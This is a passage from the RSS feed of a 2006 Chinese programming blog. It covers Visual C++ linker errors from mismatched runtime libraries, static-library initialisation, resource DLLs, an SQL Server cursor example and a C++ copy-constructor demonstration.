		<p>    一开始E、U、D为空，链接器扫描main.obj，把它加入E，把foo加入U，把main加入D，把libc.lib加入到当前输入文件列表的末尾。接着扫描my.lib，foo从U转移到D，_malloc_dbg加入到U，libcd.lib加到当前输入文件列表的尾部。然后扫描libc.lib，这时会发现libc.lib里任何一个目标模块都没有定义_malloc_dbg(它只在调试版的标准库中存在)，所以不会有任何一个模块因为_malloc_dbg而加入E，但是每个程序都要用到的初始化模块(如crt0.obj等)及它们所引用的模块(比如malloc.obj、free.obj等)还是会自动加入到E中，同时U和D被更新以反应这个变化。当链接器处理完libc.lib时，U只剩_malloc_dbg这一个符号。最后处理libcd.lib，发现dbgheap.obj定义了_malloc_dbg，于是dbgheap.obj加入到E，它里头的未解析符号加入U，它定义的所有其它符号也加入D，这时灾难便来了。之前malloc等符号已经在D中(随着libc.lib里的malloc.obj加入E而加入的)，而dbgheap.obj又定义了包括malloc在内的许多同名符号，这引发了重定义冲突，链接器只好中断工作并报告错误。</p>
		<p>    现在我们该知道，链接器完全没有责任，责任在我们自己的身上。是我们粗心地把缺省标准库版本不一致的目标文件(main.obj)与程序库(my.lib)链接起来，导致了大灾难。解决办法很简单，要么用/MLd选项来重编译main.c；要么用/ML选项重编译mylib.c。</p>
		<p>    在上述例子中，我们拥有库my.lib的源代码(mylib.c)，所以可以用不同的选项重新编译这些源代码并再次打包。可如果使用的是第三方的库，它并没有提供源代码，那么我们就只有改变自己程序的编译选项来适应这些库了。但是如何知道库中目标模块指定的默认库呢？其实VC提供的一个小工具便可以完成任务，这就是dumpbin.exe。运行下面这个命令</p>
		<p>dumpbin /DIRECTIVES my.lib</p>
		<p>然后在输出中找那些"Linker Directives"引导的信息，你一定会发现每一处这样的信息都会包含若干个类似"-defaultlib:XXXX"这样的字符串，其中XXXX便代表目标模块指定的缺省库名。</p>
		<p>    知道了第三方库指定的默认标准库，再用合适的选项编译我们的应用程序，就可以避免LNK2005和LNK1169链接错误。喜欢IDE的朋友，你一样可以到 "Project属性" -&gt; "C/C++" -&gt; "代码生成(code generation)" -&gt; "运行时库(run-time library)" 项下设置应用程序的默认标准库版本，这与命令行选项的效果是一样的。<br /><br /><br /><br /><br />好文章还不是一般的多:<br />Under The Hood, July 1997<br /><a href="http://comcamp.diy.myrice.com/techarticles/vc/0010.htm">http://comcamp.diy.myrice.com/techarticles/vc/0010.htm</a><br /><br />为什么全局变量没有初始化?<br /><a href="http://comcamp.diy.myrice.com/techarticles/vc/0011.htm">http://comcamp.diy.myrice.com/techarticles/vc/0011.htm</a><br /><br /><br />链接一个静态LIB,不在客户端代码中使用它的任何变量和代码,但要让这个LIB的全局变量被初始化的方法是:<br />这个链接库头文件应该这么写:<br />extern CMyClass *g_pObject ;<br />static void *__dummy = (void*)g_pObject ;</p>
		<p>// lib.cpp<br />CMyClass *g_pObject = CMyClass::Instance() ; // Singleton<br /><br />__dummy会出现在任何包含这个头文件的CPP文件的OBJ中,所以LINKER会把静态库中的g_pObject链接到Exe中,包括它的构造和析构<br /><br /><br />&lt;iostream&gt;很有意思,其中有一行<br />static ios_base::Init _Ios_init;<br />ios_base::Init是个类,在类的构造中判断构造是否第一次被调用,如果是,则初始化cout,cin,cerr等<br />在类的析构中判断这是不是最后一次构造,如果是,则调用cout.flush() .... (basic_ostream等的析构并没有调用flush)<br />具体怎么判断是否第一次调用构造,是否最后一次调用析构,那是用一个int的静态类成员来计算...<br /><br />其实这样会增加exe文件的尺寸,降低程序启动速度....<br /></p>
<img src ="http://www.cnitblog.com/Raistlin/aggbug/11029.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2006-05-25 11:09 <a href="http://www.cnitblog.com/Raistlin/archive/2006/05/25/11029.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>程序心理...</title><link>http://www.cnitblog.com/Raistlin/archive/2006/05/12/10398.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Fri, 12 May 2006 03:56:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2006/05/12/10398.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/10398.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2006/05/12/10398.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/10398.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/10398.html</trackback:ping><description><![CDATA[
		<p>看自己以前写的代码<br />看别人写的代码<br />可能连工程的名字都已经那么讨厌<br />但还是要在上面修修补补<br />重构或推开？</p>
<img src ="http://www.cnitblog.com/Raistlin/aggbug/10398.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2006-05-12 11:56 <a href="http://www.cnitblog.com/Raistlin/archive/2006/05/12/10398.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>在动态链接库中包含资源；在静态链接库中包含资源？</title><link>http://www.cnitblog.com/Raistlin/archive/2006/05/08/10205.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Mon, 08 May 2006 08:32:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2006/05/08/10205.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/10205.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2006/05/08/10205.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/10205.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/10205.html</trackback:ping><description><![CDATA[
		<p>
				<strong>资源DLL是怎么回事？<br /></strong>其实也就是建一个包含资源的DLL，加载该DLL并从该DLL读取相关资源。API如下： <br />HINSTANCE LoadLibrary(<br />  LPCTSTR lpLibFileName   // address of filename of executable module<br />);</p>
		<p>HGLOBAL LoadResource(<br />  HMODULE hModule, // resource-module handle<br />  HRSRC hResInfo   // resource handle<br />);</p>
		<p>HRSRC FindResource(<br />  HMODULE hModule, // module handle<br />  LPCTSTR lpName,  // pointer to resource name<br />  LPCTSTR lpType   // pointer to resource type<br />);</p>
		<p>void AfxSetResourceHandle( HINSTANCE hInstResource );]<br />HINSTANCE AfxGetResourceHandle( );<br />CString::LoadString(UINT nID) calls:<br />   int AFXAPI AfxLoadString(UINT nIDS, LPTSTR lpszBuf, UINT nMaxBuf = 256);</p>
		<p>
				<strong>MFC怎么在应用程序框架中自动加入资源(mfc的光标对话框等)</strong>
				<br />MFC的文件保存在如下位置：<br />X:\Microsoft Visual Studio\VC98\MFC\Include<br />X:\Microsoft Visual Studio\VC98\MFC\Lib<br />X:\Microsoft Visual Studio\VC98\MFC\SRC<br />其中include文件包含了资源的头文件.h和定义文件.rc</p>
		<p>
				<strong>MFC的这些资源怎么被神不知鬼不觉的编译链接到MFC程序中？<br /></strong>见下图:</p>
		<p>  <img height="189" alt="resource1.jpg" src="http://www.cnitblog.com/images/cnitblog_com/raistlin/resource1.jpg" width="320" border="0" /><br /><br /><img height="405" alt="resource2.jpg" src="http://www.cnitblog.com/images/cnitblog_com/raistlin/resource2.jpg" width="439" border="0" /><br /><br /><img height="463" alt="resource3.jpg" src="http://www.cnitblog.com/images/cnitblog_com/raistlin/resource3.jpg" width="467" border="0" /><br /><br /><img height="382" alt="resource4.jpg" src="http://www.cnitblog.com/images/cnitblog_com/raistlin/resource4.jpg" width="551" border="0" /><br /><br /><img height="296" alt="resource5.jpg" src="http://www.cnitblog.com/images/cnitblog_com/raistlin/resource5.jpg" width="536" border="0" /><br /><br /><strong>程序源代码文件的物理位置规划</strong></p>
		<p>虽然不能直接把资源放到静态链接库中，但只要稍做变通，就能弄出一个可以到处使用的对话框静态链接库了。</p>
		<p>
				<strong>但还有个问题是如何避免资源ID的冲突</strong>
		</p>
		<p>// Next default values for new objects<br />// <br />#ifdef APSTUDIO_INVOKED<br />#ifndef APSTUDIO_READONLY_SYMBOLS<br />#define _APS_3D_CONTROLS                     1<br />#define _APS_NEXT_RESOURCE_VALUE        227<br />#define _APS_NEXT_COMMAND_VALUE         32831<br />#define _APS_NEXT_CONTROL_VALUE         1274<br />#define _APS_NEXT_SYMED_VALUE           104<br />#endif<br />#endif<br /></p>
<img src ="http://www.cnitblog.com/Raistlin/aggbug/10205.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2006-05-08 16:32 <a href="http://www.cnitblog.com/Raistlin/archive/2006/05/08/10205.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>MSSqlServer中比较变态的游标</title><link>http://www.cnitblog.com/Raistlin/archive/2006/04/20/9411.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Thu, 20 Apr 2006 03:39:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2006/04/20/9411.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/9411.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2006/04/20/9411.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/9411.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/9411.html</trackback:ping><description><![CDATA[
		<p>DECLARE f_Cursor CURSOR FOR</p>
		<p>SELECT a.*<br />FROM OPENROWSET('SQLOLEDB','FSERVER';'sa';'x',<br />   'SELECT * FROM pubs.dbo.authors ORDER BY au_lname, au_fname') AS a</p>
		<p>
				<br />OPEN f_Cursor</p>
		<p>FETCH NEXT FROM f_Cursor<br />WHILE @@FETCH_STATUS = 0<br />BEGIN<br />   FETCH NEXT FROM f_Cursor<br />END</p>
		<p>CLOSE f_Cursor<br />DEALLOCATE f_Cursor</p>
<img src ="http://www.cnitblog.com/Raistlin/aggbug/9411.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2006-04-20 11:39 <a href="http://www.cnitblog.com/Raistlin/archive/2006/04/20/9411.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>对MFC ODBC Recordset和windows注册表的控诉</title><link>http://www.cnitblog.com/Raistlin/archive/2006/04/04/8773.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Tue, 04 Apr 2006 09:07:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2006/04/04/8773.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/8773.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2006/04/04/8773.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/8773.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/8773.html</trackback:ping><description><![CDATA[
		<p>朋友，如果你还在使用MFC 的ODBC Recordset，请千万要注意在绑定数据的DoFieldExchange函数中，一定要按照数据库表中字段的顺序来，否则你会死得很惨而且莫名其妙...<br /><br />朋友，如果你有兴趣使用regedt32.exe，请不要随便设置安全性。如果一个文件的安全性被设置成没人可以访问，你还可以通过所有者来重新设置它的安全性。可是万恶的注册表会让你不得翻身。我就把HEKY_CLASS_ROOT上所有人的权限给去掉，结果只能重装系统。<br /><br />朋友，最好不要用什么windows优化大师，什么毒霸注册表工具，否则哪天你在安装某个程序的时候，会被提示某某控件无法注册，虽然你是管理员。<br /><br />珍爱生命，远离微软...</p>
<img src ="http://www.cnitblog.com/Raistlin/aggbug/8773.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2006-04-04 17:07 <a href="http://www.cnitblog.com/Raistlin/archive/2006/04/04/8773.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>C++拷贝构造函数深入分析以及重写operator =</title><link>http://www.cnitblog.com/Raistlin/archive/2006/03/30/8278.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Thu, 30 Mar 2006 02:34:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2006/03/30/8278.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/8278.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2006/03/30/8278.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/8278.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/8278.html</trackback:ping><description><![CDATA[
		<p> </p>
		<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
				<img id="Codehighlighter1_24_609_Open_Image" onclick="this.style.display='none'; Codehighlighter1_24_609_Open_Text.style.display='none'; Codehighlighter1_24_609_Closed_Image.style.display='inline'; Codehighlighter1_24_609_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedBlockStart.gif" align="top" />
				<img id="Codehighlighter1_24_609_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_24_609_Closed_Text.style.display='none'; Codehighlighter1_24_609_Open_Image.style.display='inline'; Codehighlighter1_24_609_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedBlock.gif" align="top" />
				<span style="COLOR: #0000ff">class</span>
				<span style="COLOR: #000000"> CTestCopyConstruct</span>
				<span id="Codehighlighter1_24_609_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
						<img src="http://www.cnitblog.com/images/dot.gif" />
				</span>
				<span id="Codehighlighter1_24_609_Open_Text">
						<span style="COLOR: #000000">{<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" /></span>
						<span style="COLOR: #0000ff">public</span>
						<span style="COLOR: #000000">:<br /><img id="Codehighlighter1_55_147_Open_Image" onclick="this.style.display='none'; Codehighlighter1_55_147_Open_Text.style.display='none'; Codehighlighter1_55_147_Closed_Image.style.display='inline'; Codehighlighter1_55_147_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" /><img id="Codehighlighter1_55_147_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_55_147_Closed_Text.style.display='none'; Codehighlighter1_55_147_Open_Image.style.display='inline'; Codehighlighter1_55_147_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedSubBlock.gif" align="top" />    CTestCopyConstruct()</span>
						<span id="Codehighlighter1_55_147_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
								<img src="http://www.cnitblog.com/images/dot.gif" />
						</span>
						<span id="Codehighlighter1_55_147_Open_Text">
								<span style="COLOR: #000000">{<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />        TRACE(</span>
								<span style="COLOR: #000000">"</span>
								<span style="COLOR: #000000">Enter CTestCopyConstruct();this is %d\n</span>
								<span style="COLOR: #000000">"</span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #0000ff">this</span>
								<span style="COLOR: #000000">);<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />        strTest </span>
								<span style="COLOR: #000000">=</span>
								<span style="COLOR: #000000"> </span>
								<span style="COLOR: #000000">"</span>
								<span style="COLOR: #000000">not ok</span>
								<span style="COLOR: #000000">"</span>
								<span style="COLOR: #000000">;<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />        i </span>
								<span style="COLOR: #000000">=</span>
								<span style="COLOR: #000000"> </span>
								<span style="COLOR: #000000">0</span>
								<span style="COLOR: #000000">;<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />    }</span>
						</span>
						<span style="COLOR: #000000">
								<br />
								<img id="Codehighlighter1_199_342_Open_Image" onclick="this.style.display='none'; Codehighlighter1_199_342_Open_Text.style.display='none'; Codehighlighter1_199_342_Closed_Image.style.display='inline'; Codehighlighter1_199_342_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" />
								<img id="Codehighlighter1_199_342_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_199_342_Closed_Text.style.display='none'; Codehighlighter1_199_342_Open_Image.style.display='inline'; Codehighlighter1_199_342_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedSubBlock.gif" align="top" />    CTestCopyConstruct(</span>
						<span style="COLOR: #0000ff">const</span>
						<span style="COLOR: #000000"> CTestCopyConstruct </span>
						<span style="COLOR: #000000">&amp;</span>
						<span style="COLOR: #000000">src)</span>
						<span id="Codehighlighter1_199_342_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
								<img src="http://www.cnitblog.com/images/dot.gif" />
						</span>
						<span id="Codehighlighter1_199_342_Open_Text">
								<span style="COLOR: #000000">{<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />        TRACE(</span>
								<span style="COLOR: #000000">"</span>
								<span style="COLOR: #000000">Enter CTestCopyConstruct(const CTestCopyConstruct &amp;src);this is %d;src is %d\n</span>
								<span style="COLOR: #000000">"</span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #0000ff">this</span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">&amp;</span>
								<span style="COLOR: #000000">src);<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />        strTest </span>
								<span style="COLOR: #000000">=</span>
								<span style="COLOR: #000000"> src.strTest;<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />        i </span>
								<span style="COLOR: #000000">=</span>
								<span style="COLOR: #000000"> src.i;<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />    }</span>
						</span>
						<span style="COLOR: #000000">
								<br />
								<img id="Codehighlighter1_408_581_Open_Image" onclick="this.style.display='none'; Codehighlighter1_408_581_Open_Text.style.display='none'; Codehighlighter1_408_581_Closed_Image.style.display='inline'; Codehighlighter1_408_581_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" />
								<img id="Codehighlighter1_408_581_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_408_581_Closed_Text.style.display='none'; Codehighlighter1_408_581_Open_Image.style.display='inline'; Codehighlighter1_408_581_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedSubBlock.gif" align="top" />    CTestCopyConstruct </span>
						<span style="COLOR: #000000">&amp;</span>
						<span style="COLOR: #000000"> operator </span>
						<span style="COLOR: #000000">=</span>
						<span style="COLOR: #000000">(</span>
						<span style="COLOR: #0000ff">const</span>
						<span style="COLOR: #000000"> CTestCopyConstruct </span>
						<span style="COLOR: #000000">&amp;</span>
						<span style="COLOR: #000000"> src)</span>
						<span id="Codehighlighter1_408_581_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
								<img src="http://www.cnitblog.com/images/dot.gif" />
						</span>
						<span id="Codehighlighter1_408_581_Open_Text">
								<span style="COLOR: #000000">{<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />        TRACE(</span>
								<span style="COLOR: #000000">"</span>
								<span style="COLOR: #000000">Enter CTestCopyConstruct &amp; operator =(const CTestCopyConstruct &amp; src);this is %d;src is %d\n</span>
								<span style="COLOR: #000000">"</span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #0000ff">this</span>
								<span style="COLOR: #000000">,</span>
								<span style="COLOR: #000000">&amp;</span>
								<span style="COLOR: #000000">src);<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />        strTest </span>
								<span style="COLOR: #000000">=</span>
								<span style="COLOR: #000000"> src.strTest;<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />        i </span>
								<span style="COLOR: #000000">=</span>
								<span style="COLOR: #000000"> src.i;<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />        </span>
								<span style="COLOR: #0000ff">return</span>
								<span style="COLOR: #000000"> </span>
								<span style="COLOR: #000000">*</span>
								<span style="COLOR: #0000ff">this</span>
								<span style="COLOR: #000000">;<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />    }</span>
						</span>
						<span style="COLOR: #000000">
								<br />
								<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    CString strTest;<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    </span>
						<span style="COLOR: #0000ff">int</span>
						<span style="COLOR: #000000"> i;<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedBlockEnd.gif" align="top" />}</span>
				</span>
				<span style="COLOR: #000000">;<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align="top" /><br /><img id="Codehighlighter1_641_773_Open_Image" onclick="this.style.display='none'; Codehighlighter1_641_773_Open_Text.style.display='none'; Codehighlighter1_641_773_Closed_Image.style.display='inline'; Codehighlighter1_641_773_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedBlockStart.gif" align="top" /><img id="Codehighlighter1_641_773_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_641_773_Closed_Text.style.display='none'; Codehighlighter1_641_773_Open_Image.style.display='inline'; Codehighlighter1_641_773_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedBlock.gif" align="top" />CTestCopyConstruct GetTest()</span>
				<span id="Codehighlighter1_641_773_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
						<img src="http://www.cnitblog.com/images/dot.gif" />
				</span>
				<span id="Codehighlighter1_641_773_Open_Text">
						<span style="COLOR: #000000">{<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    CTestCopyConstruct ret1;<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    ret1.strTest </span>
						<span style="COLOR: #000000">=</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #000000">"</span>
						<span style="COLOR: #000000">ok</span>
						<span style="COLOR: #000000">"</span>
						<span style="COLOR: #000000">;<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    ret1.i </span>
						<span style="COLOR: #000000">=</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #000000">0</span>
						<span style="COLOR: #000000">;<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    CTestCopyConstruct ret2;</span>
						<span style="COLOR: #000000">
								<br />
								<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    </span>
						<span style="COLOR: #0000ff">return</span>
						<span style="COLOR: #000000"> ret1;</span>
						<span style="COLOR: #000000">
								<br />
								<img src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedBlockEnd.gif" align="top" />}</span>
				</span>
				<span style="COLOR: #000000">
						<br />
						<img src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align="top" />
						<br />
						<img src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align="top" />
				</span>
				<span style="COLOR: #0000ff">void</span>
				<span style="COLOR: #000000"> CTestDlg::OnOK() <br /><img id="Codehighlighter1_799_1206_Open_Image" onclick="this.style.display='none'; Codehighlighter1_799_1206_Open_Text.style.display='none'; Codehighlighter1_799_1206_Closed_Image.style.display='inline'; Codehighlighter1_799_1206_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedBlockStart.gif" align="top" /><img id="Codehighlighter1_799_1206_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_799_1206_Closed_Text.style.display='none'; Codehighlighter1_799_1206_Open_Image.style.display='inline'; Codehighlighter1_799_1206_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedBlock.gif" align="top" /></span>
				<span id="Codehighlighter1_799_1206_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
						<img src="http://www.cnitblog.com/images/dot.gif" />
				</span>
				<span id="Codehighlighter1_799_1206_Open_Text">
						<span style="COLOR: #000000">{<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    CTestCopyConstruct var1;<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    CTestCopyConstruct var2 </span>
						<span style="COLOR: #000000">=</span>
						<span style="COLOR: #000000"> GetTest();<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" /><br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    TRACE(</span>
						<span style="COLOR: #000000">"</span>
						<span style="COLOR: #000000">\nresult 1:\n</span>
						<span style="COLOR: #000000">"</span>
						<span style="COLOR: #000000">);<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    TRACE(</span>
						<span style="COLOR: #000000">"</span>
						<span style="COLOR: #000000">var1 is %d\n</span>
						<span style="COLOR: #000000">"</span>
						<span style="COLOR: #000000">,</span>
						<span style="COLOR: #000000">&amp;</span>
						<span style="COLOR: #000000">var1);<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    TRACE(</span>
						<span style="COLOR: #000000">"</span>
						<span style="COLOR: #000000">var2 is %d var2.str is %s\n\n</span>
						<span style="COLOR: #000000">"</span>
						<span style="COLOR: #000000">,</span>
						<span style="COLOR: #000000">&amp;</span>
						<span style="COLOR: #000000">var2,var2.strTest);<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" /><br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    CTestCopyConstruct var3 </span>
						<span style="COLOR: #000000">=</span>
						<span style="COLOR: #000000"> var2;<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    CTestCopyConstruct var4;<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    var4 </span>
						<span style="COLOR: #000000">=</span>
						<span style="COLOR: #000000"> var2;<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" /><br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    TRACE(</span>
						<span style="COLOR: #000000">"</span>
						<span style="COLOR: #000000">\nresult 2:\n</span>
						<span style="COLOR: #000000">"</span>
						<span style="COLOR: #000000">);<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    TRACE(</span>
						<span style="COLOR: #000000">"</span>
						<span style="COLOR: #000000">var3 is %d var3.str is %s\n</span>
						<span style="COLOR: #000000">"</span>
						<span style="COLOR: #000000">,</span>
						<span style="COLOR: #000000">&amp;</span>
						<span style="COLOR: #000000">var3,var3.strTest);<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />    TRACE(</span>
						<span style="COLOR: #000000">"</span>
						<span style="COLOR: #000000">var4 is %d var2.str is %s\n</span>
						<span style="COLOR: #000000">"</span>
						<span style="COLOR: #000000">,</span>
						<span style="COLOR: #000000">&amp;</span>
						<span style="COLOR: #000000">var4,var4.strTest);<br /><img src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedBlockEnd.gif" align="top" />}</span>
				</span>
		</div>
		<p>
				<br />
				<br />代码如上，调试窗口输出如下：<br />Enter CTestCopyConstruct();this is 1242980<br />Enter CTestCopyConstruct();this is 1242848<br />Enter CTestCopyConstruct();this is 1242840<br />Enter CTestCopyConstruct(const CTestCopyConstruct &amp;src);this is 1242972;src is 1242848</p>
		<p>result 1:<br />var1 is 1242980<br />var2 is 1242972 var2.str is ok</p>
